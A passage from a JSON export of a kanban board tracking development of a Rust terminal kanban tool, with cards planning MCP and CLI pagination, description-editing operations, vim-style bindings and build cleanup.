---\n  Key Features Showcased:\n\n  ✅ Board creation (n)✅ Card creation (n)✅ External editor integration (title & description with e)✅ Story points with color coding\n  (1-5: e in Metadata)✅ Status management (s: Todo/InProgress/Blocked/Done)✅ Priority levels (p: Low/Medium/High/Critical)✅ Task\n  completion (c)✅ Branch name copying (b)✅ Card ID copying (y)✅ Board settings (s)✅ Branch prefix configuration (p)✅ Board details\n  editing (e from Projects)✅ Export single board (x)✅ Import boards (i)✅ Auto-save on quit✅ Panel navigation (1/2/3)✅ Vim-style\n  navigation (j/k)\n\n  Total runtime: ~3:35 minutes\n  ```\n",
        "due_date": null,
        "id": "9e8f918f-3fde-4847-aca8-0ab7646256a8",
        "points": 5,
        "position": 64,
        "priority": "Critical",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155907Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Record demo",
        "updated_at": "2025-11-26T23:26:45.563647Z"
      },
      {
        "card_number": 211,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-18T17:44:47.098855315Z",
        "description": "The MCP seems to be lacking the graph implementation\n\nHow can we align the tui and the mcp to implement the interface?\n",
        "due_date": null,
        "id": "7d0b4c31-b762-4701-989d-86e699f23ddd",
        "points": 4,
        "position": 64,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856386301Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "MCP Lacks graph implementation",
        "updated_at": "2026-04-04T23:44:57.699195623Z"
      },
      {
        "card_number": 212,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-18T17:46:39.939661066Z",
        "description": "Some people may not find it so interesting to name their sprints in a thematic way\n\nSprint names and the supporting features should be opt in as per app setting\n",
        "due_date": null,
        "id": "b2f006dc-528c-48fa-aaba-aa24db70aded",
        "points": 2,
        "position": 65,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856400175Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Sprint names opt in",
        "updated_at": "2026-04-04T23:44:57.730640026Z"
      },
      {
        "card_number": 132,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-17T22:45:25.590979Z",
        "created_at": "2025-11-17T22:29:29.221286Z",
        "description": null,
        "due_date": null,
        "id": "b03b1ea7-cf2b-4ce0-b3e0-aca8cfded23b",
        "points": null,
        "position": 65,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "urgent migrations",
        "updated_at": "2025-11-17T22:45:25.590982Z"
      },
      {
        "card_number": 53,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-27T00:41:37.400232Z",
        "created_at": "2025-10-14T22:06:38.146481Z",
        "description": "the binding `t` and `T` don't make sense they should be mutually exclusive\n\ni.e. hitting `T` after hitting `t` should toggle off `t` and vice versa\n\ntldr; clear current filters before applying new filter\n",
        "due_date": null,
        "id": "63f4e1ea-388d-4352-a592-2c8b085aebd3",
        "points": 1,
        "position": 65,
        "priority": "Medium",
        "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:39.448918Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155914Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:21.616027Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:39.448924Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:21.616033Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "pressing t then T always leads to an empty tasks list",
        "updated_at": "2025-11-27T00:41:37.400235Z"
      },
      {
        "card_number": 209,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-22T11:31:05.056219736Z",
        "description": "Replace rustPlatform.buildRustPackage with crane to cache Rust dependencies separately, reducing rebuild times from ~5 minutes to ~30-60 seconds for incremental builds",
        "due_date": null,
        "id": "e68a991a-fac5-456d-af0f-19d918cc1f52",
        "points": 2,
        "position": 66,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856373466Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Integrate crane for faster Nix builds",
        "updated_at": "2026-04-04T23:44:57.764814324Z"
      },
      {
        "card_number": 30,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-27T21:18:12.788856Z",
        "created_at": "2025-10-11T21:56:16.454189Z",
        "description": "2025-11-27 21:58:20\n---\n\nPart one complete.\n\nit included bindings for `{`, `}`, `gg` and `G` to scroll half pages and jump to bottom or top quickly.\n\nBoy it was difficult to deliver. But I think we made an ok version. \n\nThere are simplifications that can be had.\n\nSuch as `j` `k` `gg` and `G` could all use the jumpining method.\n\nBut thats for a later refactor.\n\nLets close this.\n",
        "due_date": null,
        "id": "72ffc5f8-df27-4dd5-bc13-36e5c105f367",
        "points": 2,
        "position": 66,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Vim Motions",
        "updated_at": "2025-11-27T21:18:12.788856Z"
      },
      {
        "card_number": 212,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-16T20:23:30.349722758Z",
        "description": "## Goal\nReduce token consumption when listing cards via MCP and CLI by making descriptions opt-in and adding pagination.\n\n## Problem\n- MCP `list_cards` returns full `Card` objects including description and sprint_logs by default — very verbose\n- No pagination means all cards are returned at once, which can be huge on large boards\n\n## Plan\n\n### 1. MCP: default to `CardSummary` in `list_cards` (`kanban-mcp/src/lib.rs`)\n- Change return type from `Vec<Card>` to `Vec<CardSummary>` by default\n- Add `include_description: Option<bool>` to `ListCardsRequest` — when true, return full `Card` objects instead\n- Update tool description to document this behaviour\n\n### 2. CLI: add `--description` flag to `card list` (`kanban-cli/src/cli.rs` + `handlers/card.rs`)\n- CLI already returns `CardSummary` by default (good)\n- Add `#[arg(long)] pub description: bool` to `CardListArgs`\n- When `--description` is set, collect `Vec<Card>` instead of `Vec<CardSummary>`\n\n### 3. Pagination for both MCP and CLI\n- Add `page: Option<u32>` and `page_size: Option<u32>` to `ListCardsRequest` (MCP) and `CardListArgs` (CLI)\n- Default `page_size`: 50\n- Apply pagination after filtering in the handler layer (no domain changes needed)\n- Return pagination metadata in response: `total`, `page`, `page_size`, `total_pages`\n\n## Files Changed\n- `crates/kanban-mcp/src/lib.rs` — `ListCardsRequest` fields + handler logic\n- `crates/kanban-cli/src/cli.rs` — `CardListArgs` fields\n- `crates/kanban-cli/src/handlers/card.rs` — pagination + description opt-in logic\n- `crates/kanban-cli/src/output.rs` — paginated list response type (if needed)",
        "due_date": null,
        "id": "3353ce70-6f6e-42e6-8f24-fb90384a070b",
        "points": 3,
        "position": 67,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856492814Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add description opt-in and pagination to card listing",
        "updated_at": "2026-04-04T23:44:57.795422883Z"
      },
      {
        "card_number": 40,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-27T21:20:31.743113Z",
        "created_at": "2025-10-12T15:45:29.530124Z",
        "description": "Replicate the board details editing in the card details metadata\n\nOpen in subset of the JSON and edit those field and then after save update only that subset\n\n2025-10-30 19:48:40\n---\n\nthis seems out yeah\n\n",
        "due_date": null,
        "id": "ff2085d5-9304-423d-8169-6d3fb2a509d9",
        "points": 3,
        "position": 67,
        "priority": "Critical",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155913Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Make card meta data editing like board settings edit",
        "updated_at": "2025-11-27T21:20:31.743113Z"
      },
      {
        "card_number": 213,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-16T20:32:46.610809104Z",
        "description": "## Context\nFollows from KAN-212 which adds `CardSummary` as the default list response and introduces `PaginatedList<T>` as a shared response wrapper for MCP and CLI.\n\n## Goal\nExtend those primitives into the TUI so the entire stack shares the same lean data model for card listing.\n\n## Design Discussion\n\n### Current TUI behaviour\n- Loads full `Card` objects into memory for the list view (includes description, sprint_logs)\n- Manages its own viewport/scroll pagination via `Page` in `kanban-core/src/pagination.rs`\n- `Page` is viewport-aware: tracks `scroll_offset` + `viewport_height` → produces `visible_indices` for rendering, with above/below scroll indicators\n\n### Proposed architecture\n- TUI card list view uses `CardSummary` instead of `Card` (no description or sprint_logs in memory)\n- Full `Card` is fetched on demand only when opening the card detail/edit panel\n- `PaginatedList<T>` (introduced in KAN-212) becomes the fetch/response layer\n- The existing `Page` scroll logic continues to own viewport slicing — it sits on top of `PaginatedList<CardSummary>` as the data source rather than a raw `Vec<Card>`\n\n### Layering\n```\nPaginatedList<CardSummary>   ← data fetch / response layer (shared with CLI + MCP)\n         ↓\n      Page / PageInfo         ← scroll + viewport logic (TUI-only, unchanged)\n         ↓\n   render_strategy.rs         ← rendering (unchanged)\n```\n\n### Key distinction\n`PaginatedList` is a static response wrapper (total, page, page_size, items).\n`Page` is a dynamic scroll state that reacts to viewport resize and key events.\nThey are complementary, not replacements for each other.\n\n## Scope\n\n### Changes required\n- `kanban-tui`: change card list state from `Vec<Card>` to `Vec<CardSummary>`\n- `kanban-tui`: fetch full `Card` only on detail panel open (lazy load)\n- `kanban-tui`: ensure all list-rendering paths use `CardSummary` fields only\n- `kanban-tui`: card detail panel continues to use full `Card`\n- Verify no description/sprint_log fields are accessed during list rendering\n\n### Out of scope\n- Changing `Page` / `PageInfo` scroll logic (leave untouched)\n- Server-side pagination for the TUI (TUI still loads all summaries into memory and slices locally — network/IO is not the bottleneck here)",
        "due_date": null,
        "id": "284d08f7-9149-4909-b517-e049e0359b37",
        "points": 4,
        "position": 68,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856365864Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Refactor TUI card list to use CardSummary and PaginatedList",
        "updated_at": "2026-04-04T23:44:57.820691064Z"
      },
      {
        "card_number": 51,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-27T21:20:53.581479Z",
        "created_at": "2025-10-14T21:25:48.820829Z",
        "description": "Any tests that are defined next to source code should be moved into their own files\n\non hold. raise this again if wanted\n",
        "due_date": null,
        "id": "a1576713-adde-4b20-9e28-ecb08226f8a7",
        "points": 1,
        "position": 68,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "move in source test functions so spec files",
        "updated_at": "2025-11-27T21:20:53.581479Z"
      },
      {
        "card_number": 133,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-27T21:21:09.202440Z",
        "created_at": "2025-11-17T22:37:56.433493Z",
        "description": "2025-11-17 23:07:56\n---\n\nScrolling doesnt work when we use the grouped by column list view mode\n",
        "due_date": null,
        "id": "14489bd1-79a9-4662-a7c7-755a13bc305e",
        "points": null,
        "position": 69,
        "priority": "Medium",
        "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:45:06.835576Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "scrolling doesnt work in grouped by columns list",
        "updated_at": "2025-11-27T21:21:09.202440Z"
      },
      {
        "card_number": 214,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-16T20:36:43.090076686Z",
        "description": "## Goal\nEliminate the read-modify-write cycle when editing card descriptions via CLI and MCP. Currently every edit requires reading the full description, reconstructing it client-side, and writing it back as a full replacement. This is expensive for humans and wastes tokens for LLMs.\n\n## Problem\n`FieldUpdate<T>` only supports `Set(T)`, `Clear`, and `NoChange`. Every description edit goes through `update_card` with a full replacement. For an LLM editing one section of a structured markdown description this means:\n1. Call `get_card` to read current description (~N tokens)\n2. Mentally reconstruct the full text with the desired change\n3. Call `update_card` with the entire description rewritten (~N tokens again)\n\n## Proposed Operations\n\n### 1. Append\nAdd text to the end of the description.\n```\nCLI:  --append-description \"text\"\nMCP:  append_description: \"text\"\n```\nInserts a newline separator if the current description is non-empty.\n\n### 2. Prepend\nAdd text to the beginning of the description.\n```\nCLI:  --prepend-description \"text\"\nMCP:  prepend_description: \"text\"\n```\nInserts a newline separator if the current description is non-empty.\n\n### 3. Find & Replace\nReplace a specific substring within the description.\n```\nCLI:  --find \"old text\" --replace \"new text\"\nMCP:  find: \"old text\", replace: \"new text\"\n```\nReplaces the first occurrence only. Error if `find` string is not found (avoids silent no-ops).\nOptional `replace_all: bool` flag to replace all occurrences.\n\n### 4. Section Replace (markdown-aware)\nReplace the content under a specific `##` heading without touching other sections.\n```\nCLI:  --section \"Plan\" --section-content \"new content\"\nMCP:  section: \"Plan\", section_content: \"new content\"\n```\nMatches headings case-insensitively. The section spans from the matched heading to the next same-or-higher-level heading (or end of string). Replaces only the body, preserving the heading line itself.\n\nExample — given description:\n```markdown\n## Goal\nReduce tokens.\n\n## Plan\nOld plan text.\n\n## Notes\nSome notes.\n```\n`section: \"Plan\", section_content: \"New plan text.\"` produces:\n```markdown\n## Goal\nReduce tokens.\n\n## Plan\nNew plan text.\n\n## Notes\nSome notes.\n```\n\nError if the section heading is not found.\n\n### 5. Section Append\nAppend text within a specific section rather than at the end of the whole description.\n```\nCLI:  --section \"Notes\" --append-section \"text\"\nMCP:  section: \"Notes\", append_section: \"text\"\n```\n\n## Domain Layer Design\n\n### Option A — extend `FieldUpdate<T>`\nAdd `Append(String)` and `Prepend(String)` variants. Constrained to `T = String` at the call sites.\nDownside: `FieldUpdate` is generic and these variants only make sense for strings — slightly leaky abstraction.\n\n### Option B — dedicated `DescriptionUpdate` enum (preferred)\nReplace `FieldUpdate<String>` for the description field in `CardUpdate` with a purpose-built enum:\n```rust\npub enum DescriptionUpdate {\n    NoChange,\n    Set(String),\n    Clear,\n    Append(String),\n    Prepend(String),\n    FindReplace { find: String, replace: String, replace_all: bool },\n    ReplaceSection { heading: String, content: String },\n    AppendSection { heading: String, content: String },\n}\n```\nApply logic lives on `Card` as `fn apply_description_update(&mut self, update: DescriptionUpdate) -> KanbanResult<()>`.\nReturns `Err` for find-not-found and section-not-found cases.\n\n## CLI Design\nAll new flags apply only to `card update`. Conflicts:\n- `--description` (full replace) is mutually exclusive with all partial-edit flags\n- `--find` requires `--replace`\n- `--section` requires either `--section-content` or `--append-section`\n\n## MCP Design\n`UpdateCardRequest` gains the new optional fields. The handler applies them in order if multiple are set (though passing multiple edit ops in one call should be discouraged in the tool description).\nTool description should explicitly note: \"use append_description or section/section_content instead of description when making partial edits — avoids the read-modify-write cycle.\"\n\n## Files Changed\n- `crates/kanban-domain/src/card.rs` — `apply_description_update()` method, section parsing logic\n- `crates/kanban-domain/src/field_update.rs` — add `DescriptionUpdate` enum (or extend `FieldUpdate`)\n- `crates/kanban-domain/src/lib.rs` — export `DescriptionUpdate`\n- `crates/kanban-cli/src/cli.rs` — new flags on `CardUpdateArgs`\n- `crates/kanban-cli/src/handlers/card.rs` — map flags to `DescriptionUpdate`\n- `crates/kanban-mcp/src/lib.rs` — new fields on `UpdateCardRequest`, handler logic\n\n## Notes\n- Section parsing should handle both `##` and `###` headings (match heading level exactly, not just prefix)\n- Newline normalisation: strip trailing whitespace before appending separators\n- All partial-edit operations should set `updated_at` as usual\n- Consider whether `find_replace` and `section_*` ops deserve their own MCP tools rather than being fields on `update_card` — cleaner schema but more tools to discover",
        "due_date": null,
        "id": "b675ff76-a156-4424-a13e-2c5dc7fa1add",
        "points": 4,
        "position": 69,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856464836Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Rich description editing operations for CLI and MCP",
        "updated_at": "2026-04-04T23:44:57.847611662Z"
      },
      {
        "card_number": 219,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-17T23:44:58.666450606Z",
        "description": "## Goal\n\nMigrate all list methods in the `KanbanOperations` trait from `Vec<T>` to `PaginatedList<T>`, and add real pagination support to the TUI.\n\n## Scope\n\n**Trait changes** (`kanban-domain/src/operations.rs`):\n- `list_boards`, `list_columns`, `list_cards`, `list_sprints`, `list_archived_cards` — change return type to `KanbanResult<PaginatedList<T>>`\n\n**`PaginatedList<T>`** (`kanban-core/src/paginated_list.rs`):\n- Add `Deref<Target = Vec<T>>` so existing call sites don't break\n\n**3 context impls** — CliContext, TuiContext, McpContext — update all 5 methods each.\n\n**TUI** (`kanban-tui`):\n- TuiContext impls currently return full in-memory vecs — initially wrap as `PaginatedList` with page=1/page_size=total\n- Add real TUI pagination UI (scroll through pages, page indicator)\n\n## Notes\n\n- MCP pagination fix (KAN-217) is a prerequisite — it solves the immediate bug with a targeted fix\n- Integration tests will need minor updates (`.len()` → `.total`, indexing → `.items[i]`) in places where Deref doesn't cover\n\n## Prerequisite consideration\n\n`KanbanContext` fields (`boards`, `columns`, `cards`, etc.) are currently `pub`. When this card lands, evaluate converting to `pub(crate)` or accessor methods to enforce the command pattern — direct field mutation bypasses the command log and will conflict with transactional semantics in the SQLite backend (KAN-159).",
        "due_date": null,
        "id": "fbd67c28-e1c5-4d94-9986-d2e54ffa90d7",
        "points": 8,
        "position": 70,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856416328Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Migrate KanbanOperations list methods to return PaginatedList + TUI pagination support",
        "updated_at": "2026-04-04T23:35:37.856417150Z"
      },
      {
        "card_number": 15,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-04T21:59:09.071230Z",
        "created_at": "2025-10-11T18:29:10.434614Z",
        "description": "If for whatever reason two instances of Kanban are editing the same JSON.\n\nImplement a procedure to listen for changes \n\nProgressive saving and not all at the end?\n\n2025-11-17 23:08:46\n---\n\nAfter a couple of data losses. I don't want to loose data anymore. lets implement progressive data saving so that we can support multiple instances of the tui and other applications. TLDR; enable us to use the cli while using the tui.\n",
        "due_date": null,
        "id": "1e257c13-f9ee-40e4-86b5-704a9649ea4e",
        "points": 3,
        "position": 70,
        "priority": "High",
        "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:39.448946Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155907Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:39:49.578053Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:39.448946Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:39:49.578056Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Progressive saving / Detect changes to current json",
        "updated_at": "2025-12-04T21:59:09.071233Z"
      },
      {
        "card_number": 95,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-04T22:30:44.543435Z",
        "created_at": "2025-10-24T22:30:35.678212Z",
        "description": "Limited marketing/visibility - No README badges, screenshots/GIFs, or demo that would grab attention quickly. First impressions matter\n  enormously for GitHub discoverability.\n\n2025-12-04 23:30:57\n---\n\nClosing this as we have done a limited effort to accomplish this.\n\nSimple GIF\nPublished on two awesome lists\n\nTo be iterated on\n",
        "due_date": null,
        "id": "145961c6-0899-4ca5-acb9-44aa005254dc",
        "points": 3,
        "position": 71,
        "priority": "High",
        "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245016Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Marketing",
        "updated_at": "2025-12-04T22:31:39.181361Z"
      },
      {
        "card_number": 228,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-22T22:03:03.499520786Z",
        "description": "With kanban-service extracted, kanban-mcp no longer depends on kanban-cli, removing the original reason for the optional tui feature flag. Audit and clean up all related infrastructure:\n\n- Remove build-no-tui CI job (no longer tests a meaningful build path)\n- Remove the tui optional feature from kanban-cli (make TUI mandatory or drop the flag entirely)\n- Audit Nix build expressions for any no-tui / headless configurations\n- Audit Argo workflows/manifests for references to the no-tui build",
        "due_date": null,
        "id": "210bb7c2-3abc-4dc2-a060-4b22a3eb7724",
        "points": 2,
        "position": 71,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856410577Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Clean up build, CI, Nix, and Argo configs",
        "updated_at": "2026-04-04T23:44:57.989400154Z"
      },
      {
        "card_number": 227,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-22T19:54:20.639553266Z",
        "description": "Follow-up to KAN-226 (PR #190): extract kanban-service crate.\n\n## Items\n\n### 1. Make KanbanContext fields private (+ pub(crate) accessors if needed)\n\nFields currently pub in crates/kanban-service/src/context.rs:\n  pub boards: Vec<Board>\n  pub columns: Vec<Column>\n  pub cards: Vec<Card>\n  pub sprints: Vec<Sprint>\n  pub archived_cards: Vec<ArchivedCard>\n  pub graph: DependencyGraph\n\nExternal callers confirmed by grep — none access fields directly:\n- crates/kanban-cli/src/context.rs: imports KanbanContext, delegates via KanbanOperations methods\n- crates/kanban-mcp/src/context.rs: same pattern\n- crates/kanban-mcp/tests/integration.rs: uses KanbanContext::load_json() + trait methods only\n- crates/kanban-service/tests/persistence.rs: same\n\nThe 490 field accesses in kanban-tui are against TuiContext (crates/kanban-tui/src/tui_context.rs), not KanbanContext. No conflict.\n\nKanbanOperations already covers all read paths. Making fields private is a zero-impact change. No new accessors should be needed unless something is missed.\n\n### 2. Make execute() pub(crate)\n\ncrates/kanban-service/src/context.rs:\n  pub fn execute(&mut self, command: Box<dyn Command>) -> KanbanResult<()>\n\nOnly called internally within the same file by KanbanOperations impl methods. No external callers (confirmed by grep across all crates). Exposes the command pattern internals unnecessarily.\n\nFix: change to pub(crate).\n\n### 3. Make DataSnapshot pub(crate)\n\ncrates/kanban-service/src/context.rs:\n  pub struct DataSnapshot { ... }\n\nSerialisation detail used only within the crate for save()/load()/import_board()/export_board(). Not part of the public API contract.\n\nFix: change to pub(crate).\n\n## Non-issue: Uuid::new_v4() in save()\n\nThe review flagged PersistenceMetadata::new(Uuid::new_v4()) in KanbanContext::save() as a possible regression vs. the old self.store.instance_id() call. It is not.\n\nJsonFileStore::save() (crates/kanban-persistence/src/store/json_file_store.rs:112) unconditionally overwrites the passed instance_id with its own stable instance_id:\n  snapshot.metadata.instance_id = self.instance_id;\n\nConflict detection uses FileMetadata (file mtime + size on disk), not instance_id. The old call was equally irrelevant. No action needed.",
        "due_date": null,
        "id": "88f0122e-dca9-4757-9e36-e79893960a6e",
        "points": 2,
        "position": 72,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856513327Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "KAN-227: Tighten visibility in kanban-service crate",
        "updated_at": "2026-04-04T23:44:57.950525247Z"
      },
      {
        "card_number": 124,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-04T22:36:45.823045Z",
        "created_at": "2025-11-03T17:02:21.943472Z",
        "description": "for the long card lists\n\nit would be beneficial to use `{` and `}` vim style bindings to skip sections. for now the grouped by columns flats list seems to be the best use of this bind\n\n2025-12-04 23:35:24\n---\n\nThis was done and I think I ended up pretty satisfied with it\n",
        "due_date": null,
        "id": "08be2710-da5a-4f32-9407-42de26969de1",
        "points": 3,
        "position": 72,
        "priority": "Medium",
        "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:46:16.108009Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "implement { and } bindings",
        "updated_at": "2025-12-04T22:36:45.823045Z"
      },
      {
        "card_number": 125,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-04T22:36:48.606503Z",
        "created_at": "2025-11-03T17:05:05.686984Z",
        "description": "We want to have the binding `gg` and `G` to go to the top and bottom of card lists\n\napplicable to any card list viewing style\n\n2025-12-04 23:36:14\n---\n\nThis ticket was completed but now I have noticed it doesnt work so well so a new ticket was crafted\n",
        "due_date": null,
        "id": "47f876df-415f-4824-923d-5b025d980304",
        "points": null,
        "position": 73,
        "priority": "Medium",
        "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:46:16.108004Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "implement `g` and `G` bindings",
        "updated_at": "2025-12-04T22:36:48.606504Z"
      },
      {
        "card_number": 67,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-04T22:37:18.340275Z",
        "created_at": "2025-10-20T15:49:39.413116Z",
